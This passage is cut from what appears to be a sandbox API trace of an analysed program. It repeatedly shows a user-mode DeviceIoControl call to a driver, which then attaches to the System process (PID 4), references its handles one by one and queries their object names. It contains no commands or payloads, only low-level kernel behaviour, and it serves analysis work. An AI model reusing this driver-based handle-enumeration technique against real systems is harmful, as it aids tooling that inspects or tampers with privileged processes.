ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.800] ObfDereferenceObject (Object=0xfffffa80031f38a0) returned 0x2 [0102.800] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.800] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.800] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.800] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0102.800] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.800] PsAcquireProcessExitSynchronization () returned 0x0 [0102.800] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.800] ObReferenceObjectByHandle (in: Handle=0xffffffff80000418, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031f35f0, HandleInformation=0x0) returned 0x0 [0102.800] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.800] PsReleaseProcessExitSynchronization () returned 0x2 [0102.800] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.800] ObQueryNameString (in: Object=0xfffffa80031f35f0, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.800] ObfDereferenceObject (Object=0xfffffa80031f35f0) returned 0x1 [0102.800] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.800] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.800] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.800] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0102.800] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.800] PsAcquireProcessExitSynchronization () returned 0x0 [0102.800] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.800] ObReferenceObjectByHandle (in: Handle=0xffffffff8000041c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031f4850, HandleInformation=0x0) returned 0x0 [0102.800] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.800] PsReleaseProcessExitSynchronization () returned 0x2 [0102.800] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.801] ObQueryNameString (in: Object=0xfffffa80031f4850, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.801] ObfDereferenceObject (Object=0xfffffa80031f4850) returned 0x2 [0102.801] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.801] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.801] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.801] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.801] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.801] PsAcquireProcessExitSynchronization () returned 0x0 [0102.801] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.801] ObReferenceObjectByHandle (in: Handle=0xffffffff80000498, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80032afae0, HandleInformation=0x0) returned 0x0 [0102.801] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.801] PsReleaseProcessExitSynchronization () returned 0x2 [0102.801] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.801] ObQueryNameString (in: Object=0xfffffa80032afae0, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.801] ObfDereferenceObject (Object=0xfffffa80032afae0) returned 0x1 [0102.801] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.801] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.801] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.801] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.801] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.801] PsAcquireProcessExitSynchronization () returned 0x0 [0102.801] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.801] ObReferenceObjectByHandle (in: Handle=0xffffffff800004a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80032a53f0, HandleInformation=0x0) returned 0x0 [0102.801] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.801] PsReleaseProcessExitSynchronization () returned 0x2 [0102.801] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.801] ObQueryNameString (in: Object=0xfffffa80032a53f0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.801] ObfDereferenceObject (Object=0xfffffa80032a53f0) returned 0x1 [0102.801] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.801] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.801] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.802] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0102.802] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.802] PsAcquireProcessExitSynchronization () returned 0x0 [0102.802] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.802] ObReferenceObjectByHandle (in: Handle=0xffffffff800004d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003435920, HandleInformation=0x0) returned 0x0 [0102.802] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.802] PsReleaseProcessExitSynchronization () returned 0x2 [0102.802] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.802] ObQueryNameString (in: Object=0xfffffa8003435920, ObjectNameInfo=0xfffffa8002066044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002066044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.802] ObfDereferenceObject (Object=0xfffffa8003435920) returned 0x2 [0102.802] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.802] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.802] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.802] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0102.802] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.802] PsAcquireProcessExitSynchronization () returned 0x0 [0102.802] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.802] ObReferenceObjectByHandle (in: Handle=0xffffffff800004d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f95050, HandleInformation=0x0) returned 0x0 [0102.802] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.802] PsReleaseProcessExitSynchronization () returned 0x2 [0102.802] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.802] ObQueryNameString (in: Object=0xfffffa8002f95050, ObjectNameInfo=0xfffffa80037a5244, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a5244, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.802] ObfDereferenceObject (Object=0xfffffa8002f95050) returned 0x2 [0102.802] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.802] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.802] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.802] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.802] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.802] PsAcquireProcessExitSynchronization () returned 0x0 [0102.802] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.803] ObReferenceObjectByHandle (in: Handle=0xffffffff800004ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800250a420, HandleInformation=0x0) returned 0x0 [0102.803] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.803] PsReleaseProcessExitSynchronization () returned 0x2 [0102.803] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.803] ObQueryNameString (in: Object=0xfffffa800250a420, ObjectNameInfo=0xfffffa8003420684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003420684, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.803] ObfDereferenceObject (Object=0xfffffa800250a420) returned 0x2 [0102.803] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.803] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.803] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.803] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.803] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.803] PsAcquireProcessExitSynchronization () returned 0x0 [0102.803] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.803] ObReferenceObjectByHandle (in: Handle=0xffffffff800004f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80026e1050, HandleInformation=0x0) returned 0x0 [0102.803] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.803] PsReleaseProcessExitSynchronization () returned 0x2 [0102.803] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.803] ObQueryNameString (in: Object=0xfffffa80026e1050, ObjectNameInfo=0xfffffa8002078044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002078044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.803] ObfDereferenceObject (Object=0xfffffa80026e1050) returned 0x2 [0102.803] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.803] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.803] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.803] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0102.803] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.803] PsAcquireProcessExitSynchronization () returned 0x0 [0102.803] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.803] ObReferenceObjectByHandle (in: Handle=0xffffffff800004f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8011864580, HandleInformation=0x0) returned 0x0 [0102.803] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.803] PsReleaseProcessExitSynchronization () returned 0x2 [0102.803] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.803] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.803] ObfDereferenceObject (Object=0xfffffa8011864580) returned 0x1 [0102.803] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.804] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.804] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.804] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.804] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.804] PsAcquireProcessExitSynchronization () returned 0x0 [0102.804] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.804] ObReferenceObjectByHandle (in: Handle=0xffffffff800004f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800268c760, HandleInformation=0x0) returned 0x0 [0102.804] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.804] PsReleaseProcessExitSynchronization () returned 0x2 [0102.804] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.804] ObQueryNameString (in: Object=0xfffffa800268c760, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.804] ObfDereferenceObject (Object=0xfffffa800268c760) returned 0x2 [0102.804] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.804] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.804] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.804] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.804] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.804] PsAcquireProcessExitSynchronization () returned 0x0 [0102.804] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.804] ObReferenceObjectByHandle (in: Handle=0xffffffff80000528, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002135af0, HandleInformation=0x0) returned 0x0 [0102.804] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.804] PsReleaseProcessExitSynchronization () returned 0x2 [0102.804] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.804] ObQueryNameString (in: Object=0xfffffa8002135af0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.873] ObfDereferenceObject (Object=0xfffffa8002135af0) returned 0x2 [0102.873] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.873] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.873] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.873] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.873] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.873] PsAcquireProcessExitSynchronization () returned 0x0 [0102.873] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.873] ObReferenceObjectByHandle (in: Handle=0xffffffff80000530, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80033f9f20, HandleInformation=0x0) returned 0x0 [0102.873] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.873] PsReleaseProcessExitSynchronization () returned 0x2 [0102.873] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.873] ObQueryNameString (in: Object=0xfffffa80033f9f20, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.873] ObfDereferenceObject (Object=0xfffffa80033f9f20) returned 0x2 [0102.873] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.873] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.873] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.873] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.873] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.873] PsAcquireProcessExitSynchronization () returned 0x0 [0102.873] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.873] ObReferenceObjectByHandle (in: Handle=0xffffffff80000534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800358df20, HandleInformation=0x0) returned 0x0 [0102.873] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.874] PsReleaseProcessExitSynchronization () returned 0x2 [0102.874] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.874] ObQueryNameString (in: Object=0xfffffa800358df20, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.874] ObfDereferenceObject (Object=0xfffffa800358df20) returned 0x2 [0102.874] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.874] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.874] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.874] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.874] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.874] PsAcquireProcessExitSynchronization () returned 0x0 [0102.874] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.874] ObReferenceObjectByHandle (in: Handle=0xffffffff80000538, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80022b2960, HandleInformation=0x0) returned 0x0 [0102.874] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.874] PsReleaseProcessExitSynchronization () returned 0x2 [0102.874] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.874] ObQueryNameString (in: Object=0xfffffa80022b2960, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.874] ObfDereferenceObject (Object=0xfffffa80022b2960) returned 0x2 [0102.874] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.874] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.874] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.874] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.874] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.874] PsAcquireProcessExitSynchronization () returned 0x0 [0102.874] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.874] ObReferenceObjectByHandle (in: Handle=0xffffffff8000053c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003429680, HandleInformation=0x0) returned 0x0 [0102.874] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.874] PsReleaseProcessExitSynchronization () returned 0x2 [0102.874] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.874] ObQueryNameString (in: Object=0xfffffa8003429680, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.874] ObfDereferenceObject (Object=0xfffffa8003429680) returned 0x2 [0102.874] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.874] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.875] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.875] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, 